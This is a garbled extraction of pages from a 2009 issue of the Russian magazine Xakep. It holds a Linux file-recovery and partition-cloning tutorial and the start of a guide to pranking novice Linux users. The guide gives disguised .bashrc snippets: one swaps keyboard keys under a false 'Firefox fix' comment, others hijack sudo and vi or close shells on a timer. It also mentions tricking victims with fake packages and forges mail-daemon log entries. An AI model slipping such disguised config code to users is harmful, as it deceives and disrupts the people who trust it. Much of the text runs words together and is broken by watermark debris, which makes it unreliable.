ивыполнениядругихоперацийсданными. Представь, чтоуженескольколетнатвоем компеустановленодвеоперационныесистемы: Windows иLinux. Первуютызагружаешьочень редкоитольковэкстренныхслучаях, второй пользуешьсяежедневноиужеподумываешьо полномпереходенаLinux иудалениивинды, воттолькоNTFS-раздел, хранящийгодаминакапливаемыеданные, перевестивext3 нельзя никакимиинструментами. Приходитсядержать двеоперационки, потомучтохотьNTFS-раздел
идоступенизLinux (спомощьюntfs-3g), для решенияпроблемфайловойсистемывсеравно придетсяперезагружатьсявWindows.
АеслинакрыласьфайловаясистемаFAT на Flash-накопителе? Опятьперезагружаться
вWindows? Илитыслучайноудалилфайлв файловойсистемеUFS, принадлежащейрядом установленнойFreeBSD? Можетбыть, тысистемныйадминистратор, идискадлявосстановленияWindows внужныймоментнеоказалось подрукой? Отвечунавсевопросысразу: почти вседействияповозвращениюизнебытияфайловыхсистемFAT, NTFS, UFS, восстановлению хранящихсявнихфайлов, диагностикеимного-
мудругомуможнопроизвести, непокидаяLinux. Изэтойстатьитыузнаешь, какэтосделать.
НАБОРИНСТРУМЕНТОВ
Передтем, какперейтинепосредственнок описаниюпроцессавосстановления, диагностикиивозвращенияубитыхфайловкжизни, считаюсвоимдолгомознакомитьтебясоспискомиспользуемыхинструментов. Во-первых, нампонадобятсяинструментыдляработыс файловымисистемами(создание, проверка, получениеинформации). Всеонираспространяютсявтрехпакетах:
1.dosfstools — утилиты для работы с файловыми системами типа FAT. Пакет содержит всего две программы: mkfs.vfat (mkfs.dos) для создания файловой системы и fsck.vfat (fsck. dos) для выполнения проверки файловой системы.
2.ufsutils — набор утилит для работы с UFS и производными (например, FFS, используемой во FreeBSD). Содержит восемь утилит, вклю-
чая mkfs.ufs, fsck.ufs, tunefs.ufs (настройка ФС), growfs.ufs (изменение размера) и другие.
3.ntfsprogs — различные утилиты для работы
сNTFS. Не содержит программ для создания или полной проверки (базовая проверка возможна) файловой системы, но включает в себя массу полезнейших инструментов, таких как ntfscp для копирования файлов без мон-
тирования раздела, «реинкарнатор» файлов ntfsundelete, утилита для изменения размера раздела ntfsresize, программа для клонирования разделов ntfsclone и другие.
Такженаммогутпригодитьсяинструментыдля работысразделамижесткогодиска. Естьтри наиболеепродвинутыепрограммытакоготипа: parted (www.gnu.org/software/parted), предна-
значеннаядлясозданияразделов, изменения ихразмера, перемещения, созданияипроверки файловыхсистем; gpart (www.brzitwa.de/mb/ gpart) — программа-восстановительзатертой таблицыразделовиTestDisk (www.cgsecurity. org/wiki/TestDisk) — аналогgpart спсевдо-
графическиминтерфейсоминесколькими полезнымифункциями.
Следуетотметить,чтоparted—лишьхорошаяоберт- каповерхописанныхутилитдляработысфайловыми системами,поэтомупочтивсе,чтоможетparted, могутиони.Причемвокругсамойpartedестьидругая обертка,названнаяgparted(gparted.sourceforge.net).
Онавсего-навсегосоздаетудобныйграфический
GTK-интерфейсвстилеPartitionMagic.
ВпакетеTestDisk тынайдешьутилитуPhotoRec, предназначеннуюдлявосстановленияразличныхтиповфайловсразделавнезависимостиот используемойфайловойсистемы. Принципее работызаключаетсявпоискеивосстановлении файловпоихметаданнымбезанализаструктурыфайловойсистемы. PhotoRec способнавос-
072 |
XÀÊÅÐ 11 /131/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ДРУГОЙ СПОСОБ ВОССТАНОВЛЕНИЯ ФАЙЛОВ С EXT3
Узнатьсписокфайлов, подлежащихвосстановлению:
# ext3grep /dev/sda1 --dump-names
Восстановлениефайла:
# ext3grep /dev/sda1 --restore-file /home/user/work/очень_важный_документ.odt
Восстановлениекаталога:
# ext3grep /dev/sda1 --restore-file /home/user/work
Восстановлениевсехфайловсмоментавремени1231543545 (секундыотначалаэпохи
UNIX):
# ext3grep /dev/sda1 --restore-all --after=1231543545
станавливатьизображения(bmp, jpg, png, tiff, |
Дляначаланеобходимопросмотретьсписок |
# ntfsundelete /dev/sda1 -u -i 11172 |
|
raf, raw, rdc, x3f, crw, ctg, orf, mrw), аудио-фай- |
всехудаленныхфайлов: |
-d /undeleted |
|
лы(wav, au, mp3, wma), видео-файлы(avi, mov, |
|
|
|
|
|
|
|
mpg), архивы(bz2, tar, zip), документы(doc, pdf, |
# ntfsundelete /dev/sda1 |
|
Файлыможновосстанавливатьпомаске: |
html, rtf), файлысисходникамипрограмм(c, pl, |
|
|
|
|
|
|
|
sh). Рядпрограммтакогожетипаможнонайти |
Втретьейколонкевыводабудетуказанпроцент |
# ntfsundelete /dev/sda1 -u -m |
|
впакетеSleuth Kit (www.sleuthkit.org), длякото- |
сохранностифайла. Еслионравен100% — |
"*.doc" |
|
рогосуществуетweb-интерфейсautopsy. |
всеОК, файлможетбытьвозвращенкжизни |
|
|
|
|||
СЦЕНАРИИ |
целыминевредимым; меньшеезначение |
Фильтроватьподлине: |
|
указываетнато, чтокакие-тоегоучасткиуже |
|
||
ИСПОЛЬЗОВАНИЯ |
былизатертыновымиданными, поэтомупосле |
# ntfsundelete /dev/hda1 -S 5k-6m |
|
Вследующихразделахмырассмотрим |
восстановленияфайлокажется, чтоназывает- |
|
|
несколькораспространенныхсценариевис- |
ся, битым. Внекоторыхслучаяхвозможность |
Илижетыможешьвосстановитьвсеудаленные |
|
пользованияописанныхутилит. Во-первых, это |
восстановлениядаженаполовинуубитого |
файлы, аужепотомразобраться, чтокчему: |
|
подробноеописаниепроцессавосстановления |
файламожетсделатьпогоду, покажеостано- |
|
|
файловсиспользованиемтрехразныхпод- |
вимсянаполностьюцелыхэкземплярах. Для |
# ntfsundelete /dev/sda1 -u -m "*" |
|
ходов, во-вторых, починкафайловыхсистем |
этоговыполнимследующуюкоманду: |
-d /undeleted |
|
послесбоя, в-третьих, клонированиераздела |
|
|
|
|
|
|
|
нанесколькомашин, в-четвертых, описание |
# ntfsundelete -p 100 /dev/sda1 |
|
Программаизвлекаетфайлысовсеми |
процессапереносаданныхнаразделменьше- |
|
|
атрибутами, включаяимяивремясоздания. |
|
|
||
горазмера. |
Ух, какжеихмного! Заставимпрограмму |
Пользоватьсяейодноудовольствие. |
|
КАСТИМRESSURECTION |
вывестинаэкрантолькофайлы, удаленныеза |
Длявосстановленияданныхсовсехостальных |
|
последние2 дня: |
файловыхсистем, включаяFAT, UFS, EXT3, да |
||
ДляоживленияумершихфайловнаNTFS пред- |
|
|
илюбыхдругих, удобнеевсегоиспользовать |
назначенаужеупоминавшаясяntfsundelete из |
# ntfsundelete /dev/sda1 -p 100 -t |
|
PhotoRec. Запускаемпрограмму: |
пакетаntfsprogs. Онаоченьпростависполь- |
2d |
|
|
зованииичрезвычайноаккуратна. Еслиты |
|
|
# photorec |
|
|
||
случайнопотерфайлисразужеотмонтировал |
Так-толучше. Восстановимфайл, номерinode |
|
|
|
|||
раздел, будьуверен— ntfsundelete сможет |
(перваяколонкавывода) которогоравен11172, |
Вглавномменювыбираемподопытное |
|
вернутьегонаместовцелостиисохранности. |
вкаталог/undeleted: |
устройство(например, /dev/sda). Нажимаем |
XÀÊÅÐ 11 /131/ 09 |
073 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
UNIXOID
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
К СОЖАЛЕНИЮ, NTFSFIX НЕ СПОСОБНА ПОЛНОСТЬЮ ВЫЛЕЧИТЬ NTFS. ОНА ЛИШЬ ИСПРАВЛЯЕТ НЕКОТОРЫЕ ИЗ ЕЕ ПРОБЛЕМ.
GPARTED НАПРЯМУЮЗАВИСИТ ОТИНСТРУМЕНТОВКОМАНДНОЙ СТРОКИ
<Enter> и выбираем тип таблицы разделов (для писюков это Intel). Далее выбираем раздел, а на следующем экране — тип файловой системы (ext2/ext3 или другая). Задаем каталог, куда мы хотим поместить восстановленные файлы, и нажимаем «Y». Каталог должен находиться на другом разделе/диске, иначе ты рискуешь усугубить ситуацию, затерев удаленные файлы новыми данными.
Все, началсяпроцессвосстановления, он можетпродлитьсяот10 минутдонескольких часов, взависимостиот«старости» файловой системыиколичестваудаленныхфайлов. Ты можешьостановитьпроцессвлюбоймомент, нажав<Ctrl-C>, ивозобновитьегосместа прерывания, вновьзапустивPhotoRec.
Ввыбранномтобойкаталогетынайдешьмассу подкаталоговсименамивродеrecup_dir.1, recup_dir.2, каждыйизкоторыхсодержитбольшоеколичествофайловразноготипа. Имена PhotoRec невосстанавливает, поэтомупридетсяповозитьсясразгребаниемвсейэтойкучи. У PhotoRec есть и другие недостатки:
1.Достаточно часто он дает сбои, и файлы могут оказаться поврежденными, поэтому их следует проверять на «небитость» в обязательном порядке.
2.Программа ищет файлы по шаблонам. Если ты удалил файл, формат которого не поддерживается PhotoRec — пиши пропало. Поэтому в довесок к photorec необходимо иметь под рукой другие средства анализа
ивосстановления утраченных данных. Лучшим на этом поприще считается комп-
лект утилит Sleuth Kit (www.sleuthkit.org),
содержащий огромное количество самых разнообразных инструментов, которые любят применять в своей работе различные службы по расследованию инцидентов взлома и продвинутые системные администраторы. Мы далеки от этого, и нас интересуют только две утилиты из всего комплекта: fls и icat, предназначенные для поиска и извлечения файлов (как существующих, так
иудаленных).
Просмотрим список удаленных файлов с помощью утилиты fls:
# fls -rd /dev/sdb1 r/r * 117: dsc0005.jpg r/r * 119: dsc0006.jpg r/r * 122: dsc0007.jpg
r/r * 125: dsc0008.jpg r/r * 128: dsc0009.jpg
Флаг ‘-r’ заставляет программу рекурсивно проходить по всем каталогам, а ‘-d’
— показывать только удаленные файлы. Скорее всего, листинг будет очень длинным, и к тому же будет содержать список inode, которые уже были отданы другим файлам (строчка realloc в третьей колонке), поэтому мы его отфильтруем и направим в less:
#fls -rd /dev/sda1 | grep -v '(realloc)' | less
Втретьей колонке ты увидишь номера inode-файлов, а в четвертой — их имена. Чтобы выдернуть файл из ФС, воспользуйся командой icat (флаг ‘-r’ предназначен для восстановления удаленного файла):
#icat -r /dev/sda1 1023 > /home/ vasya/tmp/my_file
Для восстановления всех файлов можно воспользоваться следующей командой:
# for i in 'fls -rd /dev/sda1 | grep -v '(realloc)' |\
awk {‘print $3'}|tr -d [:]'; do icat -r -f fat /dev/sdb1 $i >\ /home/vasya/tmp/inode-$i ;done
Если ты желаешь найти какой-то конкретный файл, то вывод fls можно просто «погрепать»:
# fls -rd /dev/sda1 | grep -v '(realloc)' | grep my_file.jpg
Замечательная особенность утилит Sleuth Kit состоит в том, что они используют множество самых разнообразных методик поиска удаленных файлов и их частей. Это и анализ управляющих структур файловой системы, и различные эвристические методы, и сопоставление с шаблоном. Фактически, с помощью Sleuth Kit возможно вернуть к жизни даже файлы, затертые на ext3 (притом, что сами разработчики ext3 говорят о невозможности проведения такой операции).
ПОЧИНКА ФАЙЛОВЫХ СИСТЕМ
Починить поломавшуюся файловую систему очень просто. Достаточно воспользоваться
стандартными утилитами fsck.vfat (для фай-
ловых систем FAT12, FAT16 и FAT32), fsck.ufs (для UFS, UFS2, FFS) и ntfsfix (для NTFS).
К сожалению, ntfsfix не способна полностью вылечить NTFS. Она лишь исправляет некоторые из ее проблем и устанавливает флаг принудительной проверки файловой системы, так что следующая перезагрузка в Windows повлечет за собой запуск chkdsk для полной проверки ФС.
Используя виртуальную машину, мы можем избежать необходимости перезагрузки в
Windows. Для этого:
1.Запускаем виртуальную машину и устанавливаем винду на виртуальный жесткий диск.
2.Отмонтируем раздел, содержащий файловую систему NTFS.
3.Запускаем виртуальную машину, в качестве первого жесткого диска которой указываем виртуальный диск с Windows, а второго — наш настоящий жесткий диск.
4.С помощью стандартных средств Windows запускаем проверку NTFS-раздела.
КОПИРОВАНИЕРАЗДЕЛОВ
Допустим, тыкупилновыйжесткийдискихочешьперенестинесколькоразделовсостарого дисканановый. Еслитыначнешьделатьэто стандартнымиметодами, черезсозданиеновогоразделаиручноекопированиефайлов, то рискнешьпоиметьмассупроблем, связанных скодировкамиименфайлов, специальными файлами, защищеннымифайлами, даипотеряешьмассувремени. Лучшевоспользоваться методомклонированияраздела. ПользователиUNIX клонируютразделыспомощьюстандартнойутилитыdd, которуюможно применятьвсвязкеслюбойфайловойсистемой. Дляэтогонановомдискесоздаетсяраздел, идентичныйпоразмерамисточнику, ивыполняетсякоманда«dd if=раздел1 of=раздел2 bs=1m». Такимжеобразомможноскопировать иNTFS-раздел, новпакетеntfsprogs дляэтой целиестьболееподходящаяутилита. Программаntfsclone идентичнапофункциональностикомандеdd заисключениемдвух особенностей. Во-первых, онанекопирует незанятыеучасткифайловойсистемы, иперемещениепроисходитбыстрее, аобразраздела (еслитысоздаешьобраз) занимаетменьше места. Во-вторых, ntfsclone способнахранить образвспециальномсжатомфайле, который удобнопередаватьнадругиемашины.
Дляклонированияразделадостаточновыполнитьследующуюкоманду:
074 |
XÀÊÅÐ 11 /131/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
ПРОГРАММАNTFSUNDELETE ЧЕСТНОСОPHOTOREC СОБСТВЕННОЙПЕРСОНОЙ ОБЩАЕТОТОМ, ЧТОФАЙЛЫПОЛНОСТЬЮ ЦЕЛЫ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
PHOTOREC: ПРОЦЕССТОЛЬКОНАЧАЛСЯ, А КОЛИЧЕСТВОВОССТАНОВЛЕННЫХФАЙЛОВУЖЕПЕРЕВАЛИЛОЗА1000
#ntfsclone --overwrite /dev/hda1 /dev/hdb1
Адлясозданияобраза:
#ntfsclone --save-image --output backup.img /dev/hda1
Утилитаntfsclone особенноудобна, еслитырешилскопироватьустановленныйWindows нацелыйпаркдругихмашин (учебныйклассилиофис). Дляэтогодостаточноустановить Windows наоднумашинуисоздатьобраз, которыйзатем можновыложитьвшаруиспомощьюLinux LiveCD залить надругиемашины. Чтобыонисмоглизагружаться, придет- сятакжескопироватьMBR-записьдиска:
#sfdisk -d /dev/sda > /share/sda-sfdisk.dump
#dd if=/dev/sda bs=512 count=1 of=/share/ sda-mbr.dump
Азатемзаписатьеенадисквсехмашин:
#sfdisk /dev/sda < /share/sda-sfdisk.dump
#dd if=/share/sda-mbr.dump of=/dev/sda
ПЕРЕНОСДАННЫХ
ЕслитырешилполностьюперейтинаLinux, нонехочешь использоватьразличныеухищренияиntfs-3g длядоступак своимстарымданным, расположеннымнаNTFS-разделе? Ведьэтотразделможетзаниматьбольшуючастьдиска, и нетникакойвозможностипростоскопироватьегосодержимоенановыйраздел, отформатированныйвext3/ext4. В этомслучаетебенапомощьопятьпридутутилитыизпакета ntfsprogs, аточнееоднаизних— ntfsresize, котораяпозволиткопироватьданныенебольшимипорциямивновую файловуюсистемуспоследующимуменьшениемразмера NTFS-разделаиувеличениемext3/ext4-раздела. Для этоготебепонадобитсякакой-нибудьLiveCD, содержащий ntfsprogs иe2fsprogs версиинениже1.41 (дляподдержки
XÀÊÅÐ 11 /131/ 09
ext4, еслиты, конечно, собираешьсяпереноситьданные нанее). Такжеоченьжелательно, чтобыLiveCD содержал свеженькийgparted, потомучтоизменятьразмервручную трудноиопасно(кромеизмененияразмерасамойФС, предстоитменятьразмерразделаспомощьюfdisk, одна ошибкаивсюоперациюпридетсяначинатьсначала). ЗагружаемсясLiveCD имонтируемразделыжесткого диска. Допустим, егоразмерсоставляет120 Гб. Изних80 Гб— подзавязкунабитыйNTFS-раздел, аостальные30 Гб (да, именно30, послепереводамаркетинговыхгигабайт внастоящиеобъемдискаоказываетсяравнымпримерно 111 Гб) — эторазделсустановленнымLinux, занятость которогосоставляет5 Гб. Значит, наше«окно» равно примерно25 Гб. ПеремещаемфайлысNTFS-разделана ext3/ext4-разделдотехпор, покаихсовокупныйразмер нестанетравенразмеруокна. Врезультатепоследний оказываетсяполностьюзаполненным, апервый«худеет» на25 Гб. Отмонтируемобаразделаизапускаемgparted. ВыбираемNTFS-раздел, жмемвторуюкнопкумыши, выбираемResize/Move иуменьшаемразделнаразмер окна, выбираемext3/ext4-разделиувеличиваемегонатот жеразмерокна(разделпридетсясдвинутькначалудиска,
азатемувеличить). Такмыполучаемеще25 Гбосвободившегосяместа, чтопозволитнамскопироватьчастьфайлов,
азатемвновьизменитьразмер. Четыретакихпрохода, и мыполностьюудаляемNTFS-раздел, аразделext3/ext4 расширяемнавесьдиск.
ВЫВОДЫ
Кактысмогубедиться, Linux умеетнетолькоработатьс множествомстороннихфайловыхсистем, ноиоснащен массойутилитдляихмодификации, проведениядиагностикиивыполнениядругихопераций. Тыникогдане окажешьсявбезвыходнойситуации, держаподрукой LiveCD набазеLinux, которыйкакразиявляетсятемсамым СвятымГраалемлюбогосистемногоадминистратораи пользователя. z
GPARTED:
ЗАЧЕМНАМ
PARTITION
MAGIC?
HTTP://WWW
links
•foremost.sourceforge. net — Foremost, еще однапопулярная программадлявосстановленияфайловпо шаблонам.
•www.sysresccd.
org — System Rescue CD содержитвсе упомянутыевстатье программы.
075
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|||
|
F |
|
|
|
|
|
|
t |
|
|
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
||
P |
|
|
|
|
|
NOW! |
|
o |
|
|
|||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|
|||
w Click |
to |
|
|
|
|
|
|
UNIXOID |
|
||||
|
|
|
|
|
|
m |
ЕВГЕНИЙ ЗОБНИН ZOBNIN@GMAIL.COM, АНДРЕЙ МАТВЕЕВ ANDRUSHOCK@REAL.XAKEP.RU |
||||||
|
|
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
Пощадынебудет!
Энциклопедия UNIX-западлостроений
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ВUNIX естьвседляосуществлениясамыхразнообразныхзападлостроений: свободадействийпользователя, полныйдоступковсем, даже самымсокровенным, уголкамоперационки, открытыеисходныетексты, богатейшийарсеналинструментариянавсеслучаижизни. Получивдоступксистемеилипростозаставивпользователязапуститьпоказанную емукоманду, тыслегкостьюввергнешьсвоюжертвувсостояниешока, глубинакоторогобудетзависетьтолькооттвоихморальныхпринципов.
ÎсобуюпривлекательностьUNIX-за- падлостроенияполучаютименно сейчас, когдавсепоголовноначинаютпереползатьнаLinux. Пингвина устанавливаютдома, вшколах,
институтах, различныхгос. учреждениях, на нетбуки, телефоны. Ивсемэтимпользуются рядовыечайники, которымможнозапросто впаритьdeb-пакетспрограммой-ускорителем интернета, заставитьвыполнитьстранную команду, котораяякобыактивируетмеханизм автоматическогораспараллеливанияприложенийповсемдоступнымядрампроцессора, научитьпечататьпередлюбойпредложенной емукомандойсловоsudo. Какойпростордля западлостроителя! Теперьненадоломать головунадзапрятываниемсвоихфорк-бомб ишелл-функцийвсистему, необязательноломатькомпжертвы, достаточноуверитьеевтом, чтотыпроженныйжизньюГик, которыйвидел выходSlackware 3.0 собственнымиглазамии компилировалядроLinux 1.1. Все, делосделано. Онсамприбежитктебезапомощью, когда споткнетсяобочереднойкаменьUbuntu Linux.
ШУТКИ
Начнемссамыхпростыхисовершеннобезобидныхприколов, которыетысможешьустраиватьсцельюподнятьнастроениенетолько себе, ноижертве. Целеваяаудитория: друзьяи знакомыесхорошимчувствомюмора.
Извсехспособовудачноподколотьжертву наиболеепростойиэффективныйзаключается втом, чтобызаменитьоднуилинесколькочасто используемыхкоманднапсевдоним, выполняющийподложнуюкоманду(наборкоманд). Так, например, тыможешьпосоветоватьжертве
свойсобственный.bashrc, которыйсодержит рядполезнейшихфункций, красивораскрашенноеприглашениеиулетныенастройки, новегоконецтыпоместишьчто-нибудьвроде этого:
alias sudo='echo -e "\e[1;1H\ e[2JMatrix HAS you…"; sleep 600'
Еслижертванеособосильнавшелл-скрип- тинге, тоскореевсегоонапростозаменит свой.bashrc твоимпродвинутымвариантоми продолжитспокойноосваиватьпремудрости команднойстроки… Ровнодотогомомента, поканевызоветкомандуsudo, результатом чегостанетзатираниевсегоэкранаипоявлениенадписи«Matrix HAS you…» влевом верхнемуглуэкрана. Такжев.bashrc можно добавитьинициализациюиэкспортпеременнойTMOUT, отвечающейзаавтоматическое закрытиешеллавовремябездействия:
export TMOUT=10
Результат: десятисекундныйпростойиопа, — шеллзакрылся. Покажертваразберется, чток чему, постоянные«падения» интерпретатора еедоконают.
Спомощьюкоманд, прописанныхв.bashrc, ты можешьсделатьоченьмногое. Например, подменитьклавишиклавиатурывX Window. Для этогопоместивподложный.bashrc следующий код:
$ VI .BASHRC
# Этот код чинит клавиатурные комбинации в Firefox
if [ $DISPLAY != ""]; then a='xmodmap -pke | grep 'a A' | cut
-d '' -f 3'
s=`xmodmap -pke | grep 's S' | cut -d '' -f 3'
xmodmap -e "keycode $a = s S" > / dev/null 2>&1
xmodmap -e "keycode $s = a A" > / dev/null 2>&1
fi
Новичокврядлиразберетсявтом, чтоконкретноделаютэтикоманды, ипростоповерит комментарию. Насамомжеделекодменяет клавиши‘a’ и‘s’ местами, такчтожертвабудет долгоматериться, полагая, чторазучиласьпечатать, азатемивовсеотправитсявмагазинза новойклавиатурой. Будетещесмешнее, если заменитьместамиклавишиs иl изаставить жертвуустановитьпрограммуsl, результатом которойбудетпроносящийсясправа-налево поезд, нарисованныйспомощьюascii art. Безобидныешуткисвыводомразличныхсообщенийнаэкранмониторатакжемогутвызвать бурюэмоций.
$ VI ~/.BASHRC
wrapper() {
DATE=$(LC_ALL=en date +’%c’) TTY=$(basename `tty`)
echo -e «Broadcast message from $USER (pts/$TTY) ($DATE)\n\nThe system is going down for system halt NOW»
sleep 500
}
alias vi=wrapper
076 |
XÀÊÅÐ 11 /131/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
|
|
|
|
echo 'Authentication passed for |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pupkin' | logger -i -t 'popa3d' -p |
|
|
|
|
|
|
|
|
|
daemon.info |
|
|
|
|
|
|
|
|
|
echo '13 messages (31337 bytes) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
loaded' | logger -i -t 'popa3d' -p |
|
|
|
|
|
|
|
|
|
daemon.info |
|
|
|
|
|
|
|
|
|
echo '13 (31337) deleted, 0 (0) |
|
|
|
|
|
|
|
|
|
left' | logger -i -t 'popa3d' -p |
|
|
|
